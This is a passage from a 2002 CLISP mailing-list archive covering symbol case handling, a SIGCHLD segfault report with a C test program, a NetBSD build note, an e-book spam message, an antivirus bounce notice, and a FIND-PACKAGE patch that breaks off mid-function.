Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Subject: [clisp-list] Re: symbol cases Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 18:42:05 2002 X-Original-Date: Tue, 24 Dec 2002 03:41:19 +0100 Kaz Kylheku writes: > > [15]> (linux:|access| "/tmp" 1) ;; Works as expexted. > > 0 > > [16]> (linux:access "/tmp" 1) ;; Works too, surprisingly! > > 0 > > [17]> (linux:ACCESS "/tmp" 1) ;; Does not work as expected. > > > > *** - READ from > > # > > #>: # has no external symbol with name "ACCESS" > > Strange. What does (readtable-case *readtable*) say at that point? The default: [1]> (readtable-case *readtable*) :UPCASE [2]> (linux:access "/tmp" 1) 0 As Sam said, it's because LINUX is a case-sensitive package (clisp incompatible stuff). > > And finally, shouldn't we lispify the symbols in LINUX and have all of > > them in upper case? > > It would be far more convenient, indeed. > > (Personal taste: while I understand that this upper case orientation > > of LISP comes from its long history, I prefer case sensitivity, for > > example as implemented in emacs lisp (ie. with standard symbols in > > lower case) ; too bad standadizers of Common-Lisp choosed historical > > behavior). > > This is not a matter of personal taste at all. The way Lisp does it is > more useful than naive case sensitivity, but more technically correct > than case insensitivity. The standardizers did the right thing by > keeping the best possible design, which accomodates the useful > qualities of both. > > Lisp symbol names *are* in fact case sensitive, and can be arbitrary > strings. This is a necessity, which allows Lisp to interface with > arbitrary languages; symbols from another language can be represented > directly as Lisp symbols without having to undergo some name > translation. If you ever write a compiler in Lisp for some other > language, you will be glad. > > On the other hand, transforming case on input in the reader or output > in the formatter is quite useful. One benefit is that in an > interactive session, the stuff printed by the machine is all caps. So > if you type in all lowercase, you can easily separate the conversation > without the need to resort to a different font or color. As I said: "history". That is, more than 30 years old. Well do you still run LISP code 30 years old? Not much here. I would even bet that more new common-lisp code will written this year than what has been from the origins to 10 years ago. Now, let's see, when was the last time I had to read a listing printed on a teletype where the distinction with low case/up case would have been handy? Something like 25 years ago. And then, the tty only printed upper case! Since then, all the computers have had color or distinct fonts (mind it, Lisa is 21 years old and Macintosh is 19 years old!). Clearly, if I don't (setf (readtable-case *readtable*) :preserve) right now, it's because I may have to use other common-lisp code that I don't want to have to edit first. It would be better if the standard specified :preserve... Since it does not, you find sources that are either in low case, in up case or mixed, and you cannot change it. If the standard was :preserve, you could set :upcase anytime if it was necessary for "user interface" reasons. > I have been psychologically conditioned into accepting and > preferring the case sensitivity by Unix and C; but I'm not jaded > enough to fail to remember that I indeed had problems with it once > upon a time. My perspective does not represent the norm. ;) Yes, me too. Mine too. Unfortunately. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From sds@gnu.org Mon Dec 23 20:38:43 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Qgq3-0003B5-00 for ; Mon, 23 Dec 2002 20:38:43 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021224043836.RYLW21001.pop015.verizon.net@loiso.podval.org>; Mon, 23 Dec 2002 22:38:36 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBO4ff9O003087; Mon, 23 Dec 2002 23:41:41 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBO4fZqg003083; Mon, 23 Dec 2002 23:41:35 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net, Kaz Kylheku Subject: Re: [clisp-list] Re: symbol cases References: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> <15879.51535.944428.986251@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15879.51535.944428.986251@thalassa.informatimago.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Mon, 23 Dec 2002 22:38:36 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 20:39:04 2002 X-Original-Date: 23 Dec 2002 23:41:35 -0500 > * In message <15879.51535.944428.986251@thalassa.informatimago.com> > * On the subject of "[clisp-list] Re: symbol cases" > * Sent on Tue, 24 Dec 2002 03:41:19 +0100 > * Honorable Pascal Bourguignon writes: > > As Sam said, it's because LINUX is a case-sensitive package (clisp > incompatible stuff). this is a _perfectly_ _compatible_ _extension_. it does not break any "conforming programs". yes, case-sensitive packages are not a "standard feature", but neither are sockets, weak hash tables &c &c. if you do not like this feature (case-sensitive packages), you do not have to use it. if you prefer that "LINUX" is a case-insensitive package, you may ask Bruno why he made it case-sensitive and try to convince him that he made a mistake. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux MS DOS: Keyboard not found. Press F1 to continue. From pascal@thalassa.informatimago.com Mon Dec 23 23:23:40 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QjPb-0007at-00 for ; Mon, 23 Dec 2002 23:23:36 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 7C8AB238BC; Tue, 24 Dec 2002 08:23:18 +0100 (CET) From: Pascal Bourguignon Message-ID: <15880.2918.454709.801989@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Subject: Re: [clisp-list] Re: symbol cases In-Reply-To: References: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> <15879.51535.944428.986251@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 23:24:03 2002 X-Original-Date: Tue, 24 Dec 2002 08:23:18 +0100 Sam Steingold writes: > > * In message <15879.51535.944428.986251@thalassa.informatimago.com> > > * On the subject of "[clisp-list] Re: symbol cases" > > * Sent on Tue, 24 Dec 2002 03:41:19 +0100 > > * Honorable Pascal Bourguignon writes: > > > > As Sam said, it's because LINUX is a case-sensitive package (clisp > > incompatible stuff). > > this is a _perfectly_ _compatible_ _extension_. > it does not break any "conforming programs". > yes, case-sensitive packages are not a "standard feature", > but neither are sockets, weak hash tables &c &c. True. I looked at make-package instead of defpackage. Sorry. > if you do not like this feature (case-sensitive packages), > you do not have to use it. > > if you prefer that "LINUX" is a case-insensitive package, you may ask > Bruno why he made it case-sensitive and try to convince him that he made > a mistake. Well, if we take that it's a CLISP on linux specific package, it does not matter. It was just surprising to see that the reader behaved specially for the LINUX package. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From pascal@thalassa.informatimago.com Tue Dec 24 01:24:41 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QlIS-0006Yy-00 for ; Tue, 24 Dec 2002 01:24:20 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id C6BD3238EE; Tue, 24 Dec 2002 10:24:09 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021224092409.C6BD3238EE@thalassa.informatimago.com> Subject: [clisp-list] segfault with sigaction-old SIGCHLD Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 24 01:25:03 2002 X-Original-Date: Tue, 24 Dec 2002 10:24:09 +0100 (CET) How comes I get a seg fault for (linux:sigaction-old linux:SIGCHLD nil) while (linux:sigaction-old linux:SIGINT nil) is ok? [3]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built 3247263145) (memory 3247263385)" [13]> (linux:sigaction-old linux:SIGINT nil) 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320 :|sa_restorer| #) [14]> (linux:sigaction-old linux:SIGCHLD nil) Segmentation fault (With a normal C process, both work correctly). ------------------------------------------------------------------------ #include #include void print_sa(const char* name,int res,const struct sigaction* act) { printf("%4s sigaction returned %d\n",name,res); printf("%4s->sa_handler = %08x\n",name,act->sa_handler); printf("%4s->sa_sigaction = %08x\n",name,act->sa_sigaction); printf("%4s->sa_mask = %08x\n",name,act->sa_mask); printf("%4s->sa_flags = %08x\n",name,act->sa_flags); printf("%4s->sa_restorer = %08x\n",name,act->sa_restorer); }/*print_sa*/ int main(void) { int res; struct sigaction oldact; res=sigaction(SIGINT,0,&oldact); print_sa("INT",res,&oldact); res=sigaction(SIGCHLD,0,&oldact); print_sa("CHLD",res,&oldact); return(0); }/*main*/ ------------------------------------------------------------------------ [pascal@thalassa clisp]$ ./sigaction INT sigaction returned 0 INT->sa_handler = 00000000 INT->sa_sigaction = 00000000 INT->sa_mask = 00000000 INT->sa_flags = 00000000 INT->sa_restorer = 400e87f8 CHLD sigaction returned 0 CHLD->sa_handler = 00000000 CHLD->sa_sigaction = 00000000 CHLD->sa_mask = 00000000 CHLD->sa_flags = 00000000 CHLD->sa_restorer = 400e87f8 ------------------------------------------------------------------------ -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From pascal@thalassa.informatimago.com Tue Dec 24 02:04:56 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Qlvf-0003AI-00 for ; Tue, 24 Dec 2002 02:04:51 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id D104D238EE; Tue, 24 Dec 2002 11:04:41 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021224100441.D104D238EE@thalassa.informatimago.com> Subject: [clisp-list] segfault with sigaction-old SIGCHLD (2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 24 02:05:03 2002 X-Original-Date: Tue, 24 Dec 2002 11:04:41 +0100 (CET) How comes I get a seg fault for (linux:sigaction-old linux:SIGCHLD nil) while (linux:sigaction-old linux:SIGINT nil) is ok? [3]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built 3247263145) (memory 3247263385)" [13]> (linux:sigaction-old linux:SIGINT nil) 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320 :|sa_restorer| #) [14]> (linux:sigaction-old linux:SIGCHLD nil) Segmentation fault Note that SIGCHLD is the only signal provoking this segfault: [pascal@thalassa clisp]$ i=1 ; while [ $i -le 31 ] ; do echo signal $i ; clisp -norc -q -K full -x '(linux:sigaction-old '$i' nil)'; echo $? ; i=$(( $i + 1 )) ; done signal 1 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 2 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320 :|sa_restorer| #) 0 signal 3 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 4 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 5 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 6 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 7 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 8 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 9 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| NIL) 0 signal 10 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 11 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 12 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 13 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(4096)) :|sa_flags| 335544320 :|sa_restorer| #) 0 signal 14 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(8192)) :|sa_flags| 335544320 :|sa_restorer| #) 0 signal 15 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 16 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 17 Segmentation fault 139 signal 18 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 19 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| NIL) 0 signal 20 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 21 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 22 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 23 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 24 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 25 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 26 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 27 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 28 0 ; #S(LINUX:sigaction :|sa_handler| # :|sa_mask| #S(LINUX:sigset_t :|val| #(134217728)) :|sa_flags| 335544320 :|sa_restorer| #) 0 signal 29 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 30 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 signal 31 0 ; #S(LINUX:sigaction :|sa_handler| NIL :|sa_mask| #S(LINUX:sigset_t :|val| #()) :|sa_flags| 0 :|sa_restorer| #) 0 -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From info@publishersrow.com Wed Dec 25 08:03:08 2002 Received: from [207.224.40.209] (helo=publishersrow.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18RDzw-0000tx-00 for ; Wed, 25 Dec 2002 08:03:08 -0800 Received: from [207.224.40.209] (HELO ) by publishersrow.com (CommuniGate Pro SMTP 3.4.7) with SMTP id 6551858 for clisp-list@sf.net; Wed, 25 Dec 2002 10:03:07 -0600 From: Alexander Gendler To: clisp-list@sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=windows-1251 Message-ID: Subject: [clisp-list] To all who love Torah! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 25 08:04:02 2002 X-Original-Date: Wed, 25 Dec 2002 10:03:07 -0600
 


Tevet 20, 5763 / December 25, 2002                                                                                               B"H

Dear Friend,

Only a short time is left for you to save more then 20% on the purchase of the newly published ground-breaking electronic edition of JPS Hebrew-English TANAKH. (Click here to learn more about it and to see its sample pages.)

It is an awesome searchable electronic replica of the 2nd printed edition, which has been recognized by most authorities to be the best-ever translation of the Holy Scriptures in English language; in this edition it is placed side-by-side with perfectly formatted, carefully proofread, masoretic text of the oldest complete Hebrew Bible in existence, which you can copy and paste without any special fonts installed.

Today you can still purchase the Scholar PDF version of this magnificent product at its amazingly low introductory price of just $55.96 . . . a saving of almost $14 dollars vis-a-vis book"s regular price of $69.95; after 12/31/02 it will be no more. 

eBookShuk.com is the exclusive distributor of this product and the only place one can purchase this product from.

So hurry and visit us today! To receive the savings you must however use Special Offer Code: "JPSHETSE". Please, don"t forget to click on "Go" button after you enter the Code in its clearly marked window.

Truly yours,
Alexander Gendler
Owner, eBookShuk.com

Quality Jewish books for Computer-assisted Reading and Research

P.S." If you have any questions, you can reach me at 1-847-568-0593. Call me any time during the day (we are in Skokie, Illinois, USA), except on Shabbat and other Jewish holidays, when you are free to visit and be treated as my personal guest (let me know you are coming first).


 

PLEASE NOTE: This message was sent to you at clisp-list@sf.net because you have either purchased a book from or visited eBookShuk.com, or have left your e-mail on some Jewish-interest site indicating your openness to receiving the communication of this type. If you feel you have received this message in error, please click to unsubscribe.

 

From i_rustandi@yahoo.com Wed Dec 25 12:44:39 2002 Received: from web20404.mail.yahoo.com ([66.163.169.92] helo=web20416.mail.yahoo.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18RION-0000Ag-00 for ; Wed, 25 Dec 2002 12:44:39 -0800 Message-ID: <20021225204439.47732.qmail@web20416.mail.yahoo.com> Received: from [67.116.62.222] by web20404.mail.yahoo.com via HTTP; Wed, 25 Dec 2002 12:44:39 PST From: Indrayana Rustandi To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] CLISP 2.29 for NetBSD/Alpha Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 25 12:45:03 2002 X-Original-Date: Wed, 25 Dec 2002 12:44:39 -0800 (PST) Hi, By changing src/lispbibl.d:2405 to #if defined(DECALPHA) && (defined(UNIX_OSF) || defined(UNIX_LINUX) || defined(UNIX_NETBSD)) I managed to make a build of CLISP 2.29. I didn't encounter any failures running "make test" and "make testsuite". However, I once saw in the NetBSD's port-alpha mailing list that CLISP may have LP64 problems. If this is the case, have they been fixed? Thanks, Indra __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From postmaster@tuwien.ac.at Wed Dec 25 16:42:21 2002 Received: from mr.tuwien.ac.at ([128.130.2.10]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18RM6O-0002GR-00 for ; Wed, 25 Dec 2002 16:42:21 -0800 Received: from vc2.kom.tuwien.ac.at (vc-fav.kom.tuwien.ac.at [192.168.3.12]) by mr.tuwien.ac.at (8.12.0/8.12.0) with ESMTP id gBQ0gBf9029293 for ; Thu, 26 Dec 2002 01:42:11 +0100 (MET) Received: (from amavis@localhost) by vc2.kom.tuwien.ac.at (8.11.2/8.11.2) id gBQ0gAV21363; Thu, 26 Dec 2002 01:42:10 +0100 From: postmaster@tuwien.ac.at Message-Id: <200212260042.gBQ0gAV21363@vc2.kom.tuwien.ac.at> To: X-Virus-Scanned: by amavisd-milter (http://amavis.org/) Subject: [clisp-list] VIRUS IN YOUR MAIL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 25 16:43:02 2002 X-Original-Date: Thu, 26 Dec 2002 01:42:10 +0100 V I R U S A L E R T Our viruschecker found the W32/Klez.h@MM virus(es) in your email to the following recipient(s): -> Delivery of the email was stopped! Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- Received: from logs-wm.proxy.aol.com (logs-wm.proxy.aol.com [205.188.199.132]) by rly-ip03.mx.aol.com (v89.10) with ESMTP id RELAYIN3-1225194112; Wed, 25 Dec 2002 19:41:12 -0500 Received: from Hoimmxhe (AC8A73D2.ipt.aol.com [172.138.115.210]) by logs-wm.proxy.aol.com (8.10.0/8.10.0) with SMTP id gBQ0XGZ341968 for ; Wed, 25 Dec 2002 19:33:16 -0500 (EST) Date: Wed, 25 Dec 2002 19:33:16 -0500 (EST) Message-Id: <200212260033.gBQ0XGZ341968@logs-wm.proxy.aol.com> From: clisp-list To: e9426444@student.tuwien.ac.at Subject: BLANK AD MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=N32Nzbj6cn4A6qe149a469nb98v6e02 X-Apparently-From: LTourville@aol.com -------------------------- END HEADERS ------------------------------ From peter@javamonkey.com Fri Dec 27 09:28:34 2002 Received: from crankshaft.bitmechanic.com ([209.209.9.242]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18RyHi-0004JK-00 for ; Fri, 27 Dec 2002 09:28:34 -0800 Received: by crankshaft.bitmechanic.com (Postfix, from userid 524) id B05F2CA6B; Fri, 27 Dec 2002 09:28:33 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by crankshaft.bitmechanic.com (Postfix) with ESMTP id AAF47C9E2 for ; Fri, 27 Dec 2002 09:28:33 -0800 (PST) From: Peter Seibel X-Sender: peter@crankshaft.bitmechanic.com To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] find-package bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 27 09:29:03 2002 X-Original-Date: Fri, 27 Dec 2002 09:28:33 -0800 (PST) Hello. I was running some code in CLISP that I had previously developed under another ACL and ran into this behavior which I think is a bug: FIND-PACKAGE complains if its argument isn't a string. However the CLHS says that FIND-PACKAGE takes as an argument a "string designator or a package object". And since FIND-PACKAGE returns "a package-object" it seems that this simple test case should return the CL-USER package: (find-package (find-package "CL-USER")) Am I correct that this is a bug? If so, here's a patch that adds a test case and fixes it. I tried to follow the local conventions. I wasn't sure what "UP" meant but I assumed that's German for something. Also the test I added doesn't, strictly speaking, belong in that test suite since it puports to be a CLtL suite and CLtL and the CLHS differ on the type of the argument to FIND-PACKAGE. Anyway, the patch should be applicable with 'patch -Np1' from the clisp-2.30 directory you get when you unpack the source tarball. -Peter diff -Naur clisp-2.30/src/ChangeLog clisp-2.30-patched/src/ChangeLog --- clisp-2.30/src/ChangeLog Sat Sep 14 01:12:30 2002 +++ clisp-2.30-patched/src/ChangeLog Fri Dec 27 09:06:48 2002 @@ -1,3 +1,8 @@ +2002-12-27 Peter Seibel + + * Make FIND-PACKAGE accept package argument, per CLHS. (Differs + from CLtL.) + 2002-09-15 Sam Steingold * version.h: 2.30 is released diff -Naur clisp-2.30/src/package.d clisp-2.30-patched/src/package.d --- clisp-2.30/src/package.d Thu Sep 12 01:14:10 2002 +++ clisp-2.30-patched/src/package.d Fri Dec 27 08:40:11 2002 @@ -1857,6 +1857,30 @@ GETTEXT("~: argument should be a package or a package name, not ~")); } +# UP: Finds a package by name (string or symbol) or a package object itself. +# Returns the named package (or the package itself if obj is a package +# already) or NIL. Errors if obj is not a string, symbol, or package. +# > obj: argument +# > subr_self: caller (a SUBR) +# < result: argument turned into a package +local object find_package_by_designator (object obj) { + if (packagep(obj)) { # package -> mostly OK + return !pack_deletedp(obj) ? obj : NIL; + } + if (stringp(obj)) { + string: # string -> search package with name obj: + return find_package(obj); + } + if (symbolp(obj)) { # symbol -> + obj = Symbol_name(obj); goto string; # use print name + } + pushSTACK(obj); # TYPE-ERROR slot 